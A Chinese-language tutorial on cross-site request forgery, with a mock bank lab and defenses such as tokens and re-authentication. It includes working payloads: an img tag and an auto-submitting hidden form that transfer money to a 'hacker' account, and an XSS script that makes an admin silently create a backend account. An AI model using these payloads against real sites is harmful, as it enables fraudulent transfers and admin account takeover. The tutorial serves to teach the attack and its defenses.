一、CSRF概述
跨站请求伪造(Cross- site requestforgery, CSRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作。
跨站:攻击者搭建的钓鱼网站。
发生在客户端,也有可能发生在服务器SCSRF。
CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。
借助社工的一些帮助(例如通过电子邮件或聊天发送链接),攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行状态更改的请求例如转移资金,更改其电子邮件地址等。如果受害者是管理帐户,CSRF可能会危及整个Web应用程序。
二、关键点
CSRF 是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作。对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie,IP 地址,Windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。
三、目标
CSRF 攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害的电子邮件地址、密码或购买商品。强制受害者查询数据,对于攻击者来说没什么用,因为无法获得服务器响应。因此,SCRF攻击针对引起状态变化的请求。
有时可以将CSRF 攻击存储在易受攻击的站点上。这些漏洞被称为“存储的CSRF漏洞”。这可以通过简单地接受HTML 的字段中存储IMG 或IFRAME 标记,或通过更复杂的跨站点脚本攻击来实现。如果攻击可以在站点中存储SCRF 攻击,则攻击的严重性会放大。特别是,受到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。(具备普遍性)
四、场景复现及触发方式(CSRF)
4.1 CSRF场景复现
4.1.1 bank 源代码
为了复现CSRF 攻击的场景,我们搭建了一个银行的模拟网站,其核心业务就是转账。
4.1.2 正常业务
首先我们使用[admin/123456]登录银行账户。
在另一台浏览器中,使用[test/123456]登录。
可以操作admin用户给test用户汇款。
4.1.3 CSRF 攻击
我们以admin用户的身份,在没有退掉当前网站的情况下,访问了一个极具诱惑性的网站(黑客设置的钓鱼网站)。
当我们在这个网站中点击了某个链接,此时,我们会发现账户中给hacker 转了1000
我们会发现,admin用户并没有意愿给hacker 用户转账,这个操作完全是非本意的,而且请求在admin 用户不知不觉的情况下被发送。说明admin 用户遭受了CSRF 攻击。
4.2 CSRF触发方式
4.2.1 a标签
<a href="转账链接">诱惑性信息</a>
4.2.2 img 标签
<img src="转账链接">
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.1.200/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
该页面通过<img>
标签发送一个get 请求,这个get 请求,正是用户发起的转账业务的请求。
4.2.3 post方法
以上场景中是利用<img>
标签发送的get请求。那么是不是把关键操作使用POST请求,就能够防御CSRF 漏洞了呢?答案是否定的。即便转账操作使用POST 方法,攻击者也可以通过构造表单的方式来伪造请求,核心代码如下:
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.1.200/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
五、CSRF与XSS结合添加后台账号
攻击者可以通过XSS 来触发CSRF 攻击。因为,可以利用JS 来发送请求。
通过研究受害者的业务流程,攻击者可以构造如下代码。
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://192.168.33.4/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&username=SXK&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');
</script>
我们将这段代码插入到网站留言板中,然后模拟网站管理员,登入后台,进行留言审核,只要管理员刷新页面就会触发XSS 代码,以管理员的身份发送一个请求,创建一个后台账户[GGG/123456],同时网站后台管理员一点感觉都没有。
EX:XSS+CSRF添加后台管理账号
攻击者发送恶意留言:
![]()
![]()
管理员审核留言:
![]()
被攻击:按照黑客的意愿添加了后台管理账号
![]()
攻击者登陆后台:✅
![]()
六、CSRF的防御
6.1 无效防御
很多防御方式都没有解决CSRF的问题。
使用秘密cookie
但是,所有cookie,即使是秘密的cookie,也会随着每个请求一起提交。无论最终用户是否被欺骗提交请求,都将提交所用身份验证令牌(身份凭据)。
仅接受POST请求
可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构建恶意链接,因此无法执行CSRF攻击。不幸的是,这种逻辑是不正确的。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以有Javascript自动触发,也可以由认为表单会执行其他操作的受害者触发。
- 多步交易
多步交易不足以预防CSRF,只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF。
- URL重写
这可能被视为有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID。但是,用户的会话ID在URL中公开。所以不建议引入另一个漏洞来修复一个漏洞。
- HTTPS
HTTPS 本身无法防御CSRF。但是,HTTPS应被视为任何预防措施应被值得信赖的先决条件。
6.2 有效防御
- 验证Referer字段(其实无效)
根据HTTP协议,在HTTP头中有一个字段Referer,他记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。用户正常登录该银行网站,在首次提交时,该转账请求的Referer 的值就是当前页面的URL。而如果攻击者要该网站实施CSRF 攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行使,银行就会验证其Referer 值,如果Referer 使其他网站的话,就有可能是CSRF 攻击,则拒绝该请求。
(注:Referer 使可以修改的)
- 添加Token验证
CSRF 攻击之所以能够成功,是因为攻击者可以伪造用的请求,该请求中所用的用户验证信息都存在与cookie 中,因此攻击者可以在不知道这些验证信息的情況下直接利用用户自己的Cookie 来安全验证。由此可知,低于CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息,并且该信息不存在于Cookie 之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token 值(随机字符串),并在服务器端建立一个拦截器用来验证这个token,如果请求中没有token 或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
- 二次验证
二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效地防御CSRF攻击。
- 用户养成良好的习惯
如若我们养成良好的上网习惯,则能很大程度上减少CSRF攻击的危害,例如,用户在上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;即时退出长时间不适用的已登录账户,尤其是管理员,应尽量在登出系统的情况下点击未知链接或图片,除此之外,用户还需要再连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。
总结
CSRF(跨站请求伪造)漏洞是一种网络安全常见的漏洞。攻击者利用该漏洞,诱导用户在不知情的情况下,通过用户已登录的合法身份,向目标网站发送恶意请求。例如,攻击者可能通过在其他网站嵌入恶意链接或表单,当用户点击或提交时,这些请求会以用户的名义在目标网站上执行某些操作(如修改密码、转账等)。这种漏洞的根源在于目标网站未能充分验证请求是否由用户主动发起,从而导致用户的账户被恶意操作,给用户和网站带来严重的安全隐患。